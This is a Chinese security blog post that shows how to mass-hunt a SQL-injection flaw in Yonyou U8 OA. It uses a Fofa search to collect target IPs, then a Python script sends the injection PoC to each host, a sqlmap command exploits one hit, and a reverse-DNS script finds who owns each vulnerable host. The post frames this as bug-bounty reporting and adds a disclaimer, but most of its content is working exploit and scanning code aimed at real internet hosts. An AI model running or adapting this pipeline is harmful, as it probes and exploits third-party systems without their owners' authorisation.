一条Fofa搜索语法,实现批量挖洞 – 作者:Jerrytqq

任何非授权的渗透测试都是违法的,点到为止!

前言

最近在学习如何批量验证POC,期间也参考了不少文章,于是萌生了整合出一个自动化批量挖洞的想法。

最终实现效果为:仅通过一条Fofa搜索语法,就可以挖出可供提交公益SRC的漏洞

流程包括:

1、前期的信息收集(FOFA)
2、中期的漏洞验证(Python批量脚本)
3、后期的IP反查(Python批量脚本)

本次采用”用友 U8 OA SQL注入漏洞“来演示整个自动化流程。
这个漏洞的POC很简单,这里直接附上,详情需要的话网上有很多。

POC:http://IP:PORT/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20MD5(1))

信息收集

众所周知,信息收集是渗透测试中最关键的环节。

信息收集阶段我们的主要目标是:

1、找到网上公开的漏洞POC

2、找出可能存在该漏洞的IP列表

这里我先推荐2个我经常逛的漏洞文库。

白阁文库

PeiQi WiKi-POC文库

文章后续的POC也参考了文库中的信息。

正文开始

本次采用Fofa搜索引擎来收集可能存在漏洞的IP。

Fofa语句:title="用友U8-OA"

考虑到后续需要把Fofa收集到的IP列表导出给脚本批量验证,这里使用Github开源工具Fofa-collect
这个工具使用方式很简单,只需要配置好你的Fofa邮箱和API,就可以直接输入Fofa语法,得到查询结果。

我的使用流程如下:

1、在Fofa-collect中输入Fofa语法 -> 得到IP:PORT列表
image.png
2、导出保存为IP.txt
image.png

至此,信息收集流程结束。

POC批量验证

POC批量验证阶段我们的主要目标是:

1、编写或使用POC,找出IP列表中真正存在漏洞的IP

POC批量验证的脚本在PeiQi文库的POC基础上进一步改写,支持批量导入IP.txt,并导出存在漏洞的URL,保存为urls.txt。

原POC链接

import requests
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning

ip = []  # 用于存放存在漏洞的URL地址


def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
    print('+  \033[34m公众号  : PeiQi文库                                                   \033[0m')
    print('+  \033[34mTitle   : 用友 U8 OA test.jsp SQL注入漏洞                           \033[0m')
    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
    print('+  \033[36mFile         >>> ip.txt                             \033[0m')
    print('+------------------------------------------')


def POC_1(target_url) -> bool:
    vuln_url = target_url + "/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5(1))"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
        # 漏洞验证成功的条件
        if "c4ca4238a0b923820dcc509a6f75849b" in response.text and response.status_code == 200:
            print("\033[32m[o] 目标 {}存在漏洞 \n[o] 响应地址: {} \033[0m".format(target_url, vuln_url))
            ip.append(vuln_url)
        else:
            print("\033[31m[x] 目标 {}不存在漏洞 \033[0m".format(target_url))
    except Exception as e:
        print("\033[31m[x] 目标 {} 请求失败 \033[0m".format(target_url))


if __name__ == '__main__':
    title()
    with open('ip.txt', 'r', encoding='utf-8') as f:
        g = f.read()
    a = re.findall('\d{1,3}[.]\d{1,3}[.]\d{1,3}[.]\d{1,3}[:]\d+', g)  # 提取为IP:PORT的形式

    # 逐个验证IP.txt
    for i in a:
        if 'http' in i:
            target_url = str(i)
        else:
            target_url = 'http://' + str(i)
        print(target_url)
        core_name = POC_1(target_url)

    # 将存在漏洞的URL写入url.txt
    with open("urls.txt", "w") as f:
        for i in ip:
            if i != '':
                f.write(i + "\n")

    print(ip)  # 最终打印所有存在漏洞的IP

可以看到运行结果中有存在漏洞的URL,并且已经存入了urls.txt
image.png

我们随便挑选一个URL,用sqlmap跑一下

python sqlmap.py -u "http://IP:PORT/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5(1))" -p "S1"

可以看到是存在注入点的(再次强调渗透测试点到为止,提交漏洞只需要跑出数据库名证明漏洞存在,信息安全三要素CIA时刻铭记于心hhh)
image.png

其实文章到这里为止,就可以证明漏洞存在了,但是根据我在漏洞盒子刷公益SRC的经验来看,SRC漏洞需明确归属单位,只有ip或是非明确单位的域名暂不收录,所以光有IP还不够,需要我们去把这些存在漏洞的IP,通过IP反查域名,找出域名,再找出域名所属的单位,这样才能算得上是一个可以提交的漏洞。(例如你挖出 IP地址 39.156.69.79存在漏洞,但是这样的漏洞一般不收,你需要去查出这个IP 39.156.69.79对应的域名是baidu.com,而baidu.com背后的单位是百度公司,将IP、域名、公司名称这些信息一并提交才行)

于是就有了下一个模块,批量IP反查。

批量IP反查域名

这个阶段我们的主要目标是:

1、已知urls.txt中的IP存在漏洞,找出这些IP对应的域名,并找到域名所属单位

要想批量IP反查域名,找到一个合适的接口是首先要考虑的问题,下面我列出几个可以IP反查域名的网站:

https://dns.aizhan.com/=
https://www.yougetsignal.com/tools/web-sites-on-web-server/
https://tools.ipip.net/ipdomain.php?ip=

这里我选择了使用第一个接口https://dns.aizhan.com/=

这部分的代码完全由我自己编写。通过Python语言,利用requests包模拟浏览器请求,BeautifulSoup包来提取页面内容,最终得到IP对应的域名。
#!/usr/bin/python
# -*- coding: UTF-8 -*-
# @date: 2021/5/16 20:02
# @name: ip反查域名
# @author:h2o0o4

'''
需要注意的问题:
有时候没有一个IP能反查出域名,可能是因为你的IP被网站ban了,而不是查不出来,试着挂个代理
这个接口有时候会因为你的频繁访问而拒绝服务,但是有时候是可以跑出结果的。
'''
import re
import requests
from bs4 import BeautifulSoup
from urllib3.exceptions import InsecureRequestWarning

list = []  # 用于存放可以通过IP反查到域名的域名


def searchIP(ip: str):
    ip = re.findall('\d{1,3}[.]\d{1,3}[.]\d{1,3}[.]\d{1,3}', ip)[0]
    print("IP:{}".format(ip))
    url = "https://dns.aizhan.com/" + ip + "/"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=url, headers=headers, verify=False, timeout=5)
        # title = re.findall("charset=utf-8;<span>(.*?)</span>", response.text)[0]
        # print(response.text)
        soup = BeautifulSoup(response.text, "html.parser")
        for t in soup.find_all('td'):
            a = t.find_all('a')
            if a:
                for j in range(len(a)):
                    url = a[j].attrs['href']
                    print(ip+"反查出的URL:"+url)
                    list.append(ip+":"+url)
    except:
        print("\033[31m[x] 请求错误 \033[0m")


if __name__ == '__main__':
    with open('urls.txt', 'r', encoding='utf-8') as f:
        for line in f:
            searchIP(line)


# 写入文件
with open("result.txt", "w") as f:
    for i in list:
        if i != '':
            f.write(i + "\n")

运行完成后,可以看到result.txt中出现了一些IP对应的域名
image.png

这时候我们只需要去访问域名,就可以知道这个IP对应的公司。

于是我们就可以拿着这些信息去提交漏洞了!

至此,整个流程结束。

可以看到我们通过 一条Fofa语句 和 一个POC ,就可以在短时间内快速找到可以提交公益SRC的漏洞,在拿到新的POC时,仅需替换POC_1()函数,代码稍加改动,就可以实现另一个漏洞的批量挖掘。

总结

比较遗憾的地方

这个文章里用的POC是我在PeiQi文库提供的POC基础上改的,所以说并不是原创,但是这也是一个学习的过程,多看看别人的,慢慢的自己就也能上手写了,这也标志这我正在从一个脚本小子变成代码大师(开玩笑)。

为什么不用现有的POC批量工具?

我有了解到POC-T是一个很棒的POC批量验证工具,同时goby里也支持json格式导入POC验证模块,这些都是非常高效且便利的。不过我认为我的学习时间还长,要尽量从基础学起,这就需要动手写写代码,理解那些工具底层用的什么逻辑。

可能在一些大佬眼里,我这个小项目就是一个缝合怪,不过我认为这是我学习的一个记录,还希望口下留情。

参考文章

http://wiki.peiqi.tech/PeiQi_Wiki/OA产品漏洞/用友OA/用友%20U8%20OA%20test.jsp%20SQL注入漏洞.html
https://bbs.zkaq.cn/t/5320.html

本项目源码

https://github.com/h2so0o4/Fuck_SRC

来源:freebuf.com 2021-05-23 14:36:22 by: Jerrytqq

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THE END
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